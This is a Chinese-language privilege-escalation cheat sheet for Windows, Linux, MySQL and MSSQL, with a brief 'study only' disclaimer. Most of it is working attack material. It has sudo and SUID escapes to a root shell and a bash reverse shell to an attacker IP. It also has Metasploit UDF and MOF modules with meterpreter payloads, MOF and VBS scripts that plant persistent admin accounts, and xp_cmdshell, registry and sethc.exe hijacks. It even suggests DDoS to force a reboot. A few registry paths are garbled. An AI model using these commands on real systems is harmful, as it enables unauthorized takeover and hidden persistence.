本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.
多平台提权辅助工具
- carlospolop/privilege-escalation-awesome-scripts-suite - 包含 win、Linux,之后还会有 mac
- Loophole
- AlessandroZ/BeRoot
- vulmon/Vulmap - 在线本地漏洞扫描程序项目
文章教程
- https://www.fuzzysecurity.com/tutorials/16.html
- https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md
提权辅助工具
- LOLBAS
- windows 本地提权对照表
- 提权辅助网页
- Windows提权EXP在线搜索工具
- BulletinSearch-微软官网提供的漏洞 excel 列表
- GDSSecurity/Windows-Exploit-Suggester - 此工具将目标修补程序级别与 Microsoft 漏洞数据库进行比较,以便检测目标上可能缺少的修补程序.
- bitsadmin/wesng - Windows Exploit Suggester
- tengzhangchao/microsoftSpider - 爬取微软漏洞信息,MS 对应的每个版本操作系统 KB 号以及补丁下载地址.
- SecWiki/windows-kernel-exploits - Windows 平台提权漏洞集合
- AonCyberLabs/Windows-Exploit-Suggester - 将目标的修补程序与微软的漏洞数据库进行比较,以检测目标的潜在缺失修补程序。
- akabe1/windows_exploit_dowser - 一个简单的工具,可以用来识别影响 Windows 操作系统的漏洞。
Windows系统漏洞
域
添加开机启动项
useradd.c
#include <stdlib.h>
int main ()
{
int i;
i=system ("net localgroup adminstrators lowpriv /add");
return 0;
}
i586-mingw32msvc-gcc useradd.c -o useradd.exe
将 useradd.exe 传到目标机上,用 useradd.exe 去替换 everyone 完成控制且以系统权限开机自启的 exe,即可将用户 lowpriv 提升为管理员权限
查看一个程序的各个用户权限: icacls xxx.exe
文章教程
- Basic Linux Privilege Escalation
- Local Linux Enumeration & Privilege Escalation Cheatsheet
- Abusing SUDO (Linux Privilege Escalation)
- 谈一谈Linux与suid提权
相关资源
提权辅助工具
- GTFOBins
- mzet-/linux-exploit-suggester
- jondonas/linux-exploit-suggester-2
- rebootuser/LinEnum - 辅助信息收集脚本
- DominicBreuker/pspy - 在没有 root 权限的情况下监视 linux 进程
- TH3xACE/SUDO_KILLER - 一个用来识别和利用 sudo 规则的错误配置和漏洞的工具
以下工具长期未更新,不推荐
- sleventyeleven/linuxprivchecker - 长期未更新,不推荐
- lucyoa/kernel-exploits - 长期未更新,不推荐
- Kabot/Unix-Privilege-Escalation-Exploits-Pack - 长期未更新,不推荐
- InteliSecureLabs/Linux_Exploit_Suggester - 长期未更新,不推荐
信息收集
linux 提权需要掌握系统的许多信息,命令参见笔记 信息 内容
Linux系统漏洞
若 /etc/passwd 文件可修改
梦想总得有,万一真的可以成功呢
openssl passwd -1 # 输入你想改成的密码,用得到的 hash 去替换 root 行的 x
python -c 'import pty; pty.spawn("/bin/bash")'
然后 su root,输入上一步改的密码
sudo -l # 查看当前用户执行哪些 sudo 命令无需密码
下面只记录部分,更多内容访问 GTFOBins
-
zip
sudo zip /tmp/tmp.zip /tmp/ -T --unzip-command="sh -c /bin/bash" -T 表示测试 test.zip 的完整性 –unzip-command 与 -T 一起使用,可以指定自定义命令用于解压 test.zip
-
tar
sudo tar cf /dev/null test --checkpoint=1 --checkpoint-action=exec=/bin/bash –checkpoint-action 选项是提权点,可以自定义需要执行的动作
-
strace
sudo strace -o /dev/null /bin/bash
-
nmap
低版本的 nmap3.x 有 interactive 模式,且设置了 suid,这个时候可以进入交互模式 执行 !sh 命令即可轻松完成提权。
echo "os.execute('/bin/bash')" > /tmp/shell.nse sudo nmap --script=/tmp/shell.nse
-
more
sudo more /etc/hosts !/bin/bash
-
git
sudo git help status !/bin/bash
-
ftp
sudo ftp ftp> !/bin/bash
-
vim
sudo vim -c '!bash'
-
perl:
sudo perl -e 'exec "/bin/bash";'
-
python:
sudo python -c 'import pty;pty.spawn("/bin/bash")'
-
less
sudo less /etc/hosts v :shell
-
awk
sudo awk 'BEGIN {system("/bin/bash")}'
-
man
sudo man man !/bin/bash
-
vi
sudo vi :!bash 或 :!/bin/sh 或 :set shell=/bin/sh :shell
-
find
find . -exec /bin/sh \;
找带 suid 的文件
并不是说程序存在 suid 位就可以提权,还需要看程序的所有者
find / -perm -u=s 2>/dev/null
筛选出其中所有人有 rwx 权限的文件,添加如下一句话:
bash -i >& /dev/tcp/<kali-ip>/port 0>&1
CVE-2013-2171
- POC | Payload | exp
CVE-2019-19726 OpenBSD 提权
-
简介
OpenBSD 是加拿大 OpenBSD 项目组的一套跨平台的、基于 BSD 的类 UNIX 操作系统。
OpenBSD 6.6 及之前版本中存在安全漏洞。本地攻击者可利用该漏洞将权限提升至 root,进而以该权限执行自己的库代码。
-
影响版本
- Openbsd:Openbsd:-:::*
- Openbsd:Openbsd:2.0:::*
- Openbsd:Openbsd:2.1:::*
- Openbsd:Openbsd:2.2:::*
- Openbsd:Openbsd:2.3:::*
-
POC | Payload | exp
CVE-2020-14724
- POC | Payload | exp
文章
UDF 提权
-
文章
-
POC | Payload | exp
-
MSF 模块
use exploit/multi/mysql/mysql_udf_payload set RHOSTS [ip] set USERNAME [user] set PASSWORD [pass] set target 0 set payload windows/meterpreter/bind_tcp set RHOST [ip] set LPORT 4444 exploit
MOF 提权
MOF提权的条件要求十分严苛:
- windows 03 及以下版本
- mysql 启动身份具有权限去读写 c:/windows/system32/wbem/mof 目录
- secure-file-priv 参数不为 null
#pragma namespace("\\.\root\subscription")
instance of __EventFilter as
{
EventNamespace = "Root\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\") WSH.run(\"net.exe user sqladmin admin /add&&net.exe localgroup administrators sqladmin /add\")";
};
instance of __FilterToConsumerBinding
{
Consumer = ;
Filter = ;
};
- 保存为 1.mof,然后 mysql 执行:
select load_file('D:/wwwroot/1.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof';
- mof 被执行的话,会帮我们添加一个叫 sqladmin 的用户.
关于 Mof 提权的弊端
我们提权成功后,就算被删号,mof 也会在五秒内将原账号重建,那么这给我们退出测试造成了很大的困扰,所以谨慎使用.那么我们如何删掉我们的入侵账号呢?
net stop winmgmt
del c:/windows/system32/wbem/repository
net start winmgmt
- MSF 模块
use exploit/windows/mysql/mysql_mof set RHOSTS [ip] set USERNAME [user] set PASSWORD [pass] set payload windows/meterpreter/bind_tcp set RHOST [ip] set LPORT 4444 exploit
启动项提权
在前两种方法都失败时,那可以试一下启动项提权..因为要求达到的条件和 mof 几乎一样,并且要重启服务,所以不是十分推荐.原理还是使用 mysql 写文件,写入一段 VBS 代码到开机自启动中,服务器重启达到创建用户并提权,可以使用 DDOS 迫使服务器重启.
提权条件
- file_priv 不为 null
- 已知 root 密码
create table a (cmd text);
insert into a values ("set wshshell=createobject (""wscript.shell"") " );
insert into a values ("a=wshshell.run (""cmd.exe /c net user sqladmin 123456 /add"",0) " );
insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators sqladmin /add"",0) " );
select * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";
SA 提权
-
判断扩展存储是否存在:
select count(*) from master.dbo.sysobjects where xtype = 'x' AND name= 'xp_cmdshell' select count(*) from master.dbo.sysobjects where name='xp_regread' 恢复: exec sp_dropextendedproc 'xp_cmdshell' exec sp_dropextendedproc xp_cmdshell,'xplog70.dll' EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;(SQL2005)
-
列目录:
exec master..xp_cmdshell 'ver' (or) exec master..xp_dirtree 'c:\',1,1 (or) drop table black create TABLE black(mulu varchar(7996) NULL,ID int NOT NULL IDENTITY(1,1))-- insert into black exec master..xp_cmdshell 'dir c:\' select top 1 mulu from black where id=1 xp_cmdshell 被删除时,可以用(5.a)开启沙盒模式,然后(5.b)方法提权
-
备份启动项:
alter database [master] set RECOVERY FULL create table cmd (a image) backup log [master] to disk = 'c:\cmd1' with init insert into cmd (a) values (0x(batcode)) backup log [master] to disk = 'C:\Documents and Settings\Administrator\「开始」菜单\程序\启动\start.bat' drop table cmd
-
映像劫持
xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','debugger','reg_sz','c:\windows\system32\cmd.exe'
-
沙盒模式提权:
a :
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet�.0\Engines','SandBoxMode','REG_DWORD',0;
# 关闭沙盒模式b :
Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user mstlab mstlab /add")');
#or c:\windows\system32\ias\dnary.mdb string 类型用此. 开启 OpenRowSet:exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;
-
xp_regwrite 操作注册表
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\currentversion un','black','REG_SZ','net user test test /add'
开启 xp_oacreate : exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;